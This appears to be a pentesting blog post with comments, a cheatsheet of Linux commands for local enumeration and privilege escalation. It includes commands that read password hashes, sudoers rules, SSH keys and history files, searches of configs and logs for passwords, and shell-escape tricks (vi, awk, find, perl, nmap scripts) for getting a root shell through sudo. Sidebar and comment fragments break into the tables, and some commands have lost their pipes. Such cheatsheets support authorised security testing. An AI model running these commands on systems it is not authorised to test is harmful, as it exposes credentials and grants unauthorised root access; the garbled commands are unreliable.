



Local Linux Enumeration & Privilege Escalation Cheatsheet

Posted on June 3, 2013 by owen



1.4K

The following post lists a few Linux commands that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits and I realise these are just the **tip of the iceberg** in terms of what's available.

Revision 1.2 (Minor January 2017 update)

Kernel, Operating System & Device Information:

Command	Result

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<code>uname -a</code>	Print all available system information
<code>uname -r</code>	Kernel release
<code>uname -n</code>	System hostname
<code>hostname</code>	As above
<code>uname -m</code>	Linux kernel architecture (32 or 64 bit)
<code>cat /proc/version</code>	Kernel information
<code>cat /etc/*-release</code>	Distribution information
<code>cat /etc/issue</code>	As above
<code>cat /proc/cpuinfo</code>	CPU information
<code>df -a</code>	File system information

Users & Groups:

Command	Result
<code>cat /etc/passwd</code>	List all users on the system
<code>cat /etc/group</code>	List all groups on the system
<code>for i in \$(cat /etc/passwd 2>/dev/null cut -d":" -f1 2>/dev/null); do id \$i; done 2>/dev/null</code>	List all uid's and respective group memberships
<code>cat /etc/shadow</code>	Show user hashes – Privileged

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	command
<code>grep -v -E "^#" /etc/passwd awk -F: ' \$3 == 0 { print \$1 }'</code>	List all super user accounts
<code>finger</code>	Users currently logged in
<code>pinky</code>	As above
<code>users</code>	As above
<code>who -a</code>	As above
<code>w</code>	Who is currently logged in and what they're doing
<code>last</code>	Listing of last logged on users
<code>lastlog</code>	Information on when all users last logged in
<code>lastlog -u %username%</code>	Information on when the specified user last logged in
<code>lastlog grep -v "Never"</code>	Entire list of previously logged on users

User & Privilege Information:

Command	Result
<code>whoami</code>	Current username
<code>id</code>	Current user

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<code>cat /etc/sudoers</code>	information Who's allowed to do what as root – Privileged command
<code>sudo -l</code>	Can the current user perform anything as root
<code>sudo -l 2>/dev/null grep -w 'nmap perl 'awk' 'find' 'bash' 'sh' 'man' 'more' 'less' 'vi' 'vim' 'nc' 'netcat' python ruby lua irb' xargs -r ls -la 2>/dev/null</code>	Can the current user run any 'interesting' binaries as root and if so also display the binary permissions etc.

Environmental Information:

Command	Result
<code>env</code>	Display environmental variables
<code>set</code>	As above

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<code>echo \$PATH</code>	Path information
<code>history</code>	Displays command history of current user
<code>pwd</code>	Print working directory, i.e. 'where am I'
<code>cat /etc/profile</code>	Display default system variables
<code>cat /etc/shells</code>	Display available shells

Interesting Files:

Command	Result
<code>find / -perm -4000 -type f 2>/dev/null</code>	Find SUID files
<code>find / -uid 0 -perm -4000 -type f 2>/dev/null</code>	Find SUID files owned by root
<code>find / -perm -2000 -type f 2>/dev/null</code>	Find GUID files
<code>find / -perm -2 -type f 2>/dev/null</code>	Find world-writeable files
<code>find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null</code>	Find world-writeable files excluding those in /proc
<code>find / -perm -2 -type d</code>	Find word-writeable directories

Recent Changes... July 25, 2018

Active Directory Delegation Dissected (Blackhat Webcast) May 21, 2018

IPv6 for Pentesters (BSides London Rookie Track Talk) June 12, 2017

Active Directory Delegation Slides (@camsec) January 31, 2017

IP, DNS & Domain Enumeration Cheatsheet January 5, 2017

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dj-jatt on Local Linux Enumeration & Privilege Escalation Cheatsheet

Saraff on Vulnix (release 1.0) Solutions

get-vidmate.in on Secunia PSI 2.0 Beta – 3rd party patching and vulnerability scanner

<code>2>/dev/null</code>	
<code>find /home -name *.rhosts -print 2>/dev/null</code>	Find rhost config files
<code>find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ;</code>	Find *.plan files, list permissions and cat the file contents
<code>find /etc -iname hosts.equiv -exec ls -la { } 2>/dev/null ; -exec cat {} 2>/dev/null ;</code>	Find hosts.equiv, list permissions and cat the file contents
<code>ls -ahlR /root/</code>	See if you can access other user directories to find interesting files
<code>cat ~/.bash_history</code>	Show the current users' command history
<code>ls -la ~/.*_history</code>	Show the current users' various history files
<code>ls -la /root/*_history</code>	Can we read root's history files
<code>ls -la ~/.ssh/</code>	Check for interesting ssh files in the current users' directory
<code>find / -name "id_dsa*" - o -name "id_rsa*" -o - name "known_hosts" -o - name "authorized_hosts" -o -name "authorized_keys"</code>	Find SSH keys/host information

punjabi status on Local Linux
Enumeration & Privilege
Escalation Cheatsheet

sp00ks on Vulnix (Vulnerable
Linux) Release 1.0

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<code>2>/dev/null xargs -r ls</code> <code>-la</code>	
<code>ls -la /usr/sbin/in.*</code>	Check Configuration of inetd services
<code>grep -l -i pass</code> <code>/var/log/*.log</code> <code>2>/dev/null</code>	Check log files for keywords ('pass' in this example) and show positive matches
<code>find /var/log -type f -</code> <code>exec ls -la {} ;</code> <code>2>/dev/null</code>	List files in specified directory (/var/log)
<code>find /var/log -name</code> <code>*.log -type f -exec ls -</code> <code>la {} ; 2>/dev/null</code>	List .log files in specified directory (/var/log)
<code>find /etc/ -maxdepth 1 -</code> <code>name *.conf -type f -</code> <code>exec ls -la {} ;</code> <code>2>/dev/null</code>	List .conf files in /etc (recursive 1 level)
<code>ls -la /etc/*.conf</code>	As above
<code>find / -maxdepth 4 -name</code> <code>*.conf -type f -exec</code> <code>grep -Hn password {} ;</code> <code>2>/dev/null</code>	Find .conf files (recursive 4 levels) and output line number where the word 'password' is located
<code>lsof -i -n</code>	List open files (output will depend on account privileges)
<code>head /var/mail/root</code>	Can we read roots mail

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Service Information:

Command	Result
<pre>ps aux grep root</pre>	View services running as root
<pre>ps aux awk '{print \$11}' xargs -r ls -la 2>/dev/null awk '!x[\$0]++'</pre>	Lookup process binary path and permissions
<pre>cat /etc/inetd.conf</pre>	List services managed by inetd
<pre>cat /etc/xinetd.conf</pre>	As above for xinetd
<pre>cat /etc/xinetd.conf 2>/dev/null awk '{print \$7}' xargs -r ls -la 2>/dev/null</pre>	A very 'rough' command to extract associated binaries from xinetd.conf and show permissions of each
<pre>ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null</pre>	Permissions and contents of /etc/exports (NFS)

Jobs/Tasks:

Command	Result
<pre>crontab -l -u %username%</pre>	Display scheduled jobs for the specified user – Privileged command
<pre>ls -la /etc/cron*</pre>	Scheduled jobs overview (hourly, daily, monthly etc)

<code>ls -aRl /etc/cron* awk ' \$1 ~ /w.\$/' 2>/dev/null</code>	What can 'others' write in /etc/cron* directories
<code>top</code>	List of current tasks

Networking, Routing & Communications:

Command	Result
<code>/sbin/ifconfig -a</code>	List all network interfaces
<code>cat /etc/network/interfaces</code>	As above
<code>arp -a</code>	Display ARP communications
<code>route</code>	Display route information
<code>cat /etc/resolv.conf</code>	Show configured DNS sever addresses
<code>netstat -antp</code>	List all TCP sockets and related PIDs (-p Privileged command)
<code>netstat -anup</code>	List all UDP sockets and related PIDs (-p Privileged command)
<code>iptables -L</code>	List rules – Privileged command
<code>cat /etc/services</code>	View port numbers/services mappings

Programs Installed:

Command	Result

<code>dpkg -l</code>	Installed packages (Debian)
<code>rpm -qa</code>	Installed packages (Red Hat)
<code>sudo -V</code>	Sudo version – does an exploit exist?
<code>httpd -v</code>	Apache version
<code>apache2 -v</code>	As above
<code>apache2ctl (or apachectl) -M</code>	List loaded Apache modules
<code>mysql --version</code>	Installed MYSQL version details
<code>psql -V</code>	Installed Postgres version details
<code>perl -v</code>	Installed Perl version details
<code>java -version</code>	Installed Java version details
<code>python --version</code>	Installed Python version details
<code>ruby -v</code>	Installed Ruby version details
<code>find / -name %program_name% 2>/dev/null</code> (i.e. nc, netcat, wget, nmap etc)	Locate 'useful' programs (netcat, wget etc)
<code>which %program_name%</code> (i.e. nc, netcat, wget, nmap etc)	As above
<code>dpkg --get-architecture 2>/dev/null grep compiler grep -v decompiler 2>/dev/null</code>	List available compilers

<pre>&& yum list installed 'gcc*' 2>/dev/null grep gcc 2>/dev/null</pre>	
<pre>cat /etc/apache2/envvars 2>/dev/null grep -i 'user group' awk '{sub(/.*export /,"")}1'</pre>	Which account is Apache running as

Common Shell Escape Sequences:

Command	Program(s)
<code>:!bash</code>	vi, vim
<pre>:set shell=/bin/bash :shell</pre>	vi, vim
<code>!bash</code>	man, more, less
<pre>find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;</pre>	find
<pre>awk 'BEGIN {system("/bin/bash")}'</pre>	awk
<code>--interactive</code>	nmap
<pre>echo "os.execute('/bin/sh') " > exploit.nse</pre>	nmap (thanks to comment by anonymous below)

```
sudo nmap --  
script=exploit.nse
```

```
perl -e 'exec  
"/bin/bash";'
```

Perl

A special thanks to the following useful resources:

- g0tm1k
- SANS Pentesting Resources

For a scripted version of these checks see

<https://github.com/rebootuser/LinEnum>



POSTED IN CHEATSHEETS, LOCAL LINUX ENUMERATION & PRIVILEGE
ESCALATION, PENTESTING, SECURITY | TAGS: BASH, CHEATSHEET,
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Introducing LinEnum – Scripted
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18 thoughts on “Local Linux Enumeration & Privilege

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Pingback: [LinEnum - Scripted Linux Enumeration & Privilege Escalation Checks](#)



neilier says:

August 26, 2013 at 2:16 pm

hi,Than you for this article.That'd be totally awesome.

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Pingback: [PwnOS and Linux local privilege escalation | 0x776b7364](#)



GURLAL SINGH says:

February 12, 2015 at 2:40 pm

GURU

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nmap says:

July 22, 2015 at 5:26 pm

You can priv esc with the latest nmap using:

```
echo "os.execute('/bin/sh')" > x.nse
```

```
sudo nmap --script=x.nse
```

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hotbits777 says:

September 19, 2015 at 2:31 pm

You da man!!

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abimbola says:

November 15, 2015 at 12:30 pm

nice article thank you very much

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Pingback: [LinEnum – Local Linux Enumeration & Privilege Escalation Checks – deSec.Zone](#)



waploft says:

April 4, 2016 at 8:13 am

Great Article

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Jaack says:

June 17, 2018 at 12:34 pm

Great Content. Keep up the good work.

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Vidmatero0t says:

July 16, 2018 at 11:49 pm

Great Work man !

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punjabi status **says:**

December 8, 2018 at 4:32 pm

its really great information Thank you sir And keep it up
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dj-jatt **says:**

January 12, 2019 at 3:12 pm

Nice article.Really it is informative

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